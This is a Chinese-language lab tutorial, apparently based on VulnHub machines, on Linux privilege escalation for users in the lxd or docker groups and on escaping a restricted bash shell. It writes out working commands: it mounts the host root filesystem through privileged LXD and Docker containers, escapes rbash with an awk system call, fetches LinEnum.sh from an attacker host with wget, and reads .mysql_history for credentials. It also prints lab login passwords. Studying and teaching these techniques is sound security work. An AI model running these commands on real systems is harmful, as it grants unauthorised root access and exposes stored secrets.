前言
1.什么是LXC、LXD、Rbash?
①LXC 是 Linux 内核容器技术的用户空间工具,属于 操作系统级虚拟化。它允许在单一 Linux 主机上运行多个隔离的 Linux 系统(容器),共享同一内核。
②LXD 是 LXC 的 下一代管理工具,基于 LXC 的底层技术,但提供更高级的 API 和命令行工具(lxc 命令)。它通过守护进程(daemon)管理容器,支持快照、实时迁移、资源限制等。
③rbash 是 受限的 Bash shell,通过限制用户行为增强安全性。它是 Bash 的符号链接(rbash -> bash),但启动时会施加限制,导致某些命令会无法使用。
2.LXD与Docker的区别? 其实一句话说清楚就是,LXD类似于启动一个新的虚拟机容器,而Docker类似于启动了一个新的进程/应用。
Linux系统提权 - 普通用户-LXD容器
我们直接来到入口点,直接通过拿到的账号密码SSH登录目标主机:
账号:n0nr00tuser
密码:zxowieoi4sdsadpEClDws1sf
可以看到这里当前用户在lxd组中,所以拥有创建容器的权限

原理: LXD是基于LXC容器的管理程序,当前用户可操作容器 理解为用户创建一个容器,再用容器挂载宿主机磁盘, 最后使用容器权限操作宿主机磁盘内容达到提权效果。 lxd本地提权条件: -已经获得Shell -用户属于lxd组
上传一个./LinEnum.sh进行检测
- 我们在网上随便下载一个体积比较小的容器,然后放到目标主机上,并且通过lxc命令去创建该容器:
- 下载地址:https://github.com/saghul/lxd-alpine-builder

创建容器,挂载磁盘,进入容器,进入目录提权
# 导入这个镜像命名为test容器
lxc imageimport ./alpine-v3.13-x86_64-20210218_0139.tar.gz
--alias test
#初始化镜像
lxc init test test -c security.privileged-true
#这里创建成功之后,使用如下命令将根目录挂载到容器的/mnt/root目录下:
lxc config device add test test disk source=/ path=/mnt/root
recursive=true
# 启动test容器
lxc start test
# 获取这个test容器shell
lxc exec test /bin/sh
# 进入之前受限的root目录
cd /mnt/root/root
cat flag.txt
Linux系统提权 - 普通用户-Docker容器
环境复现:https://www.vulnhub.com/entry/chill-hack-1,622/
提权条件:
- 已经获得普通用户Shell
- 用户属于docker组
还是直接来到入口点,通过如下账号密码SSH登录拿到权限:
账号:anurodh 密码:!d0ntKn0wmYp@ssw0rd

用户在docker组里面,说明我们拥有自建容器的权限,于是尝试构建容器,并挂载根目录:
1、入口点:
User: anurodh
Pass:!dOntKnOwmYp@sswOrd
2、检测及利用:
./LinEnum.sh
3、创建容器,挂载磁盘,进入容器,进入目录提权
docker run -v /:/mnt -it alpine
cd /mnt/root

#Linux系统提权-普通用户-Rbash绕过
参考:https://xz.aliyun.com/t/7642
Rbash(TheRestrictedmodeofbash),也就是限制型 bash 在渗透测试中可能遇到rbash,尝试绕过后才能进行后续操作
环境复现:https://www.vulnhub.com/entry/funbox-rookie,520/
这里主要是讲关于遇到Rbash如何绕过的问题,Rbash是一种限制型的bash,它会禁止用户执行某些操作
来到入口点,我们通过信息收集发现目标开放21端口,尝试ftp匿名登录:
ftp <IP>
ls
get tom.zip
1、入口点: fscan -h 192.168.1.0/24
ftp 192.168.1.8

get tom.zip(iubIre压缩包密码)

解压缩发现id_rsa文件,这是SSH登录密钥,于是尝试登录拿到Shell ssh tom@192.168.1.8 -i id_rsa

2、Rbash绕过:
启动一个web环境 python -m http.server 8080
下载sh文件 wget http://192.168.1.3:8080/LinEnum.sh

尝试执行发现不行:

此时需要Rbash绕过
参考文章:rbash逃逸大全-先知社区
一条简单快捷的:
awk 'BEGIN {system("/bin/bash")}'
此时再执行可以了

3、历史泄漏提权: ./LinEnum.sh cat /home/tom/.mysql_history
# 查看执行的历史命令,里面有可能会泄露一些敏感信息
history
# 查看mysql的历史命令
cat /home/tom/.mysql_history

